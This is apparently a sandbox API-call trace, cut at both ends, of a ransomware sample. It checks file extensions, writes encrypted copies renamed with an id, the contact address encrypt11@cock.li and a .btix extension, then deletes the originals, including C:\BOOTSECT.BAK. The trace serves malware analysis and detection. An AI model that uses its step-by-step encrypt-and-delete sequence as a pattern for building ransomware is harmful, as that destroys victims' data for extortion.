(lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.208] lstrlenW (lpString=".doc") returned 4 [0044.208] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString=".docx") returned 5 [0044.208] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0044.208] lstrlenW (lpString=".pdf") returned 4 [0044.208] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString=".xls") returned 4 [0044.208] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString=".xlsx") returned 5 [0044.208] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0044.208] lstrlenW (lpString=".ppt") returned 4 [0044.208] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.208] lstrlenW (lpString=".zip") returned 4 [0044.208] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.208] lstrlenW (lpString=".rar") returned 4 [0044.208] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString=".bz2") returned 4 [0044.208] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString=".7z") returned 3 [0044.208] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.208] lstrlenW (lpString=".dbf") returned 4 [0044.208] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.208] lstrlenW (lpString=".1cd") returned 4 [0044.208] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.208] lstrlenW (lpString=".jpg") returned 4 [0044.208] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.209] lstrlenW (lpString=".doc") returned 4 [0044.209] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.209] lstrlenW (lpString=".docx") returned 5 [0044.209] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0044.209] lstrlenW (lpString=".pdf") returned 4 [0044.209] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.209] lstrlenW (lpString=".xls") returned 4 [0044.209] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.209] lstrlenW (lpString=".xlsx") returned 5 [0044.209] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0044.209] lstrlenW (lpString=".ppt") returned 4 [0044.209] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.209] lstrlenW (lpString=".zip") returned 4 [0044.209] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.209] lstrlenW (lpString=".rar") returned 4 [0044.209] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.209] lstrlenW (lpString=".bz2") returned 4 [0044.209] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.209] lstrlenW (lpString=".7z") returned 3 [0044.209] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.209] lstrlenW (lpString=".dbf") returned 4 [0044.209] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.209] lstrlenW (lpString=".1cd") returned 4 [0044.209] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0044.209] lstrlenW (lpString=".jpg") returned 4 [0044.209] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.209] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.210] lstrlenW (lpString="Parameterinfo.xml") returned 17 [0044.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0044.210] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=93314) returned 1 [0044.210] CloseHandle (hObject=0x34c) returned 1 [0044.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0044.210] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0044.210] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.210] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0044.210] GetLastError () returned 0x0 [0044.210] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x16c82, lpOverlapped=0x0) returned 1 [0044.380] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x16c90, lpOverlapped=0x0) returned 1 [0044.383] ReadFile (in: hFile=0x34c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.383] WriteFile (in: hFile=0x350, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xf6, lpOverlapped=0x0) returned 1 [0044.384] SetEndOfFile (hFile=0x350) returned 1 [0044.384] CloseHandle (hObject=0x350) returned 1 [0044.389] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.389] SetEndOfFile (hFile=0x34c) returned 1 [0044.391] CloseHandle (hObject=0x34c) returned 1 [0044.392] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.394] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1 [0044.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.394] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.394] lstrlenW (lpString=".doc") returned 4 [0044.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.394] lstrlenW (lpString=".docx") returned 5 [0044.394] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.394] lstrlenW (lpString=".pdf") returned 4 [0044.395] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString=".xls") returned 4 [0044.395] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString=".xlsx") returned 5 [0044.395] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.395] lstrlenW (lpString=".ppt") returned 4 [0044.395] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.395] lstrlenW (lpString=".zip") returned 4 [0044.395] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.395] lstrlenW (lpString=".rar") returned 4 [0044.395] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString=".bz2") returned 4 [0044.395] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString=".7z") returned 3 [0044.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.395] lstrlenW (lpString=".dbf") returned 4 [0044.395] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.395] lstrlenW (lpString=".1cd") returned 4 [0044.395] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.395] lstrlenW (lpString=".jpg") returned 4 [0044.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.395] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.395] lstrlenW (lpString=".doc") returned 4 [0044.395] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.395] lstrlenW (lpString=".docx") returned 5 [0044.395] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0044.396] lstrlenW (lpString=".pdf") returned 4 [0044.396] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.396] lstrlenW (lpString=".xls") returned 4 [0044.396] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.396] lstrlenW (lpString=".xlsx") returned 5 [0044.396] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0044.396] lstrlenW (lpString=".ppt") returned 4 [0044.396] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.396] lstrlenW (lpString=".zip") returned 4 [0044.396] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.396] lstrlenW (lpString=".rar") returned 4 [0044.396] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.396] lstrlenW (lpString=".bz2") returned 4 [0044.396] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.396] lstrlenW (lpString=".7z") returned 3 [0044.396] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.396] lstrlenW (lpString=".dbf") returned 4 [0044.396] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.396] lstrlenW (lpString=".1cd") returned 4 [0044.396] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.396] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48 [0044.396] lstrlenW (lpString=".jpg") returned 4 [0044.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.396] lstrcmpiW (lpString1=".xsd", lpString2=".btix") returned 1 [0044.397] lstrlenW (lpString="SetupUi.xsd") returned 11 [0044.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0044.397] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=30120) returned 1 [0044.397] CloseHandle (hObject=0x36c) returned 1 [0044.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0044.397] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0044.397] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.397] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.397] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0044.397] GetLastError () returned 0x0 [0044.397] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x75a8, lpOverlapped=0x0) returned 1 [0044.796] WriteFile (in: hFile=0x364, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x75b0, lpOverlapped=0x0) returned 1 [0044.797] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.797] WriteFile (in: hFile=0x364, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xea, lpOverlapped=0x0) returned 1 [0044.797] SetEndOfFile (hFile=0x364) returned 1 [0044.797] CloseHandle (hObject=0x364) returned 1 [0044.798] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.798] SetEndOfFile (hFile=0x36c) returned 1 [0044.799] CloseHandle (hObject=0x36c) returned 1 [0044.799] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.799] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0044.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.800] lstrlenW (lpString=".doc") returned 4 [0044.800] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0044.800] lstrlenW (lpString=".docx") returned 5 [0044.800] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0044.800] lstrlenW (lpString=".pdf") returned 4 [0044.800] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0044.800] lstrlenW (lpString=".xls") returned 4 [0044.800] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0044.800] lstrlenW (lpString=".xlsx") returned 5 [0044.800] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0044.800] lstrlenW (lpString=".ppt") returned 4 [0044.800] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0044.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.800] lstrlenW (lpString=".zip") returned 4 [0044.800] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0044.800] lstrlenW (lpString=".rar") returned 4 [0044.800] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0044.800] lstrlenW (lpString=".bz2") returned 4 [0044.800] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0044.800] lstrlenW (lpString=".7z") returned 3 [0044.800] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0044.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.800] lstrlenW (lpString=".dbf") returned 4 [0044.800] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0044.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.800] lstrlenW (lpString=".1cd") returned 4 [0044.800] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0044.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.800] lstrlenW (lpString=".jpg") returned 4 [0044.800] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.801] lstrlenW (lpString=".doc") returned 4 [0044.801] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString=".docx") returned 5 [0044.801] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0044.801] lstrlenW (lpString=".pdf") returned 4 [0044.801] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString=".xls") returned 4 [0044.801] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString=".xlsx") returned 5 [0044.801] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0044.801] lstrlenW (lpString=".ppt") returned 4 [0044.801] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.801] lstrlenW (lpString=".zip") returned 4 [0044.801] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0044.801] lstrlenW (lpString=".rar") returned 4 [0044.801] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString=".bz2") returned 4 [0044.801] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString=".7z") returned 3 [0044.801] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0044.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.801] lstrlenW (lpString=".dbf") returned 4 [0044.801] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.801] lstrlenW (lpString=".1cd") returned 4 [0044.801] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0044.801] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0044.801] lstrlenW (lpString=".jpg") returned 4 [0044.801] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0044.802] lstrcmpiW (lpString1=".BAK", lpString2=".btix") returned -1 [0044.802] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0044.802] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0044.802] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=8192) returned 1 [0044.802] CloseHandle (hObject=0x36c) returned 1 [0044.802] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0044.802] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\bootsect.bak.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.802] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0044.802] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0044.803] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.803] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.803] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\bootsect.bak.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0044.858] GetLastError () returned 0x0 [0044.858] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2000, lpOverlapped=0x0) returned 1 [0044.879] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2010, lpOverlapped=0x0) returned 1 [0044.880] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.880] WriteFile (in: hFile=0x370, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0044.880] SetEndOfFile (hFile=0x370) returned 1 [0044.881] CloseHandle (hObject=0x370) returned 1 [0044.881] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.881] SetEndOfFile (hFile=0x36c) returned 1 [0044.882] CloseHandle (hObject=0x36c) returned 1 [0044.882] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x27) returned 1 [0044.882] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0044.882] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.882] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.882] lstrlenW (lpString=".doc") returned 4 [0044.882] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString=".docx") returned 5 [0044.883] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0044.883] lstrlenW (lpString=".pdf") returned 4 [0044.883] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString=".xls") returned 4 [0044.883] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString=".xlsx") returned 5 [0044.883] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0044.883] lstrlenW (lpString=".ppt") returned 4 [0044.883] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.883] lstrlenW (lpString=".zip") returned 4 [0044.883] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString=".rar") returned 4 [0044.883] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString=".bz2") returned 4 [0044.883] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString=".7z") returned 3 [0044.883] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0044.883] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.883] lstrlenW (lpString=".dbf") returned 4 [0044.883] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.883] lstrlenW (lpString=".1cd") returned 4 [0044.883] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0044.883] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.883] lstrlenW (lpString=".jpg") returned 4 [0044.883] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.883] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.883] lstrlenW (lpString=".doc") returned 4 [0044.883] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0044.883] lstrlenW (lpString=".docx") returned 5 [0044.883] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0044.883] lstrlenW (lpString=".pdf") returned 4 [0044.884] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0044.884] lstrlenW (lpString=".xls") returned 4 [0044.884] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0044.884] lstrlenW (lpString=".xlsx") returned 5 [0044.884] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0044.884] lstrlenW (lpString=".ppt") returned 4 [0044.884] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0044.884] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.884] lstrlenW (lpString=".zip") returned 4 [0044.884] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0044.884] lstrlenW (lpString=".rar") returned 4 [0044.884] lstrcmpiW (lpString1=".rar", lpString2=".BAK") 